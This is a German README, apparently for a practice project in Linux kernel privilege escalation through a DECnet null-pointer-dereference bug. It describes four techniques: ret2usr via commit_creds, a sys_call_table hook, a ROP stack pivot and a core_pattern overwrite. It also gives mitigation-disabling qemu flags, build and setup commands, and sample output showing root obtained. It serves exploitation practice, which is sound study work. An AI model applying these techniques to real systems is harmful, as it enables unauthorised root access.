
Linux-Kernel LPE-Übung mit einer NPD-Sicherheitslücke
Üben verschiedener Linux-Kernel-Exploitation-Techniken mit meiner DECnet-Sicherheitslücke und aktivierter Nullseitenzuordnung.
Alles deaktiviert: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
Die Codeausführung wird zur output-Funktion im Userland umgeleitet, die commit_creds(prepare_kernel_cred(0)) aufruft.
Syscall Hooking
Tausche die Adresse des mkdir-Systemaufruf-Handlers in der sys_call_table mit einer Funktion, die der aus Szenario 1 ähnelt.
SMEP und KPTI aktiviert: qemu-system-x86_64 -append "nosmap nokaslr"
Die Codeausführung wird zu einem Stack-Pivot umgeleitet, der $rsp auf eine ROP-Kette in der Nullseite setzt.
Usermode Helper
Der core_pattern-Sysctl wird überschrieben, um einen Befehl anzugeben, der beim Core-Dump mit erhöhten Privilegien ausgeführt wird.
Das Programm wird dann mit dem SIGABRT-Signal unterbrochen, um das Usermode-Skript auszulösen.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
DECnet als root konfigurieren:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
Führe den Exploit als unprivilegierter Benutzer aus:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#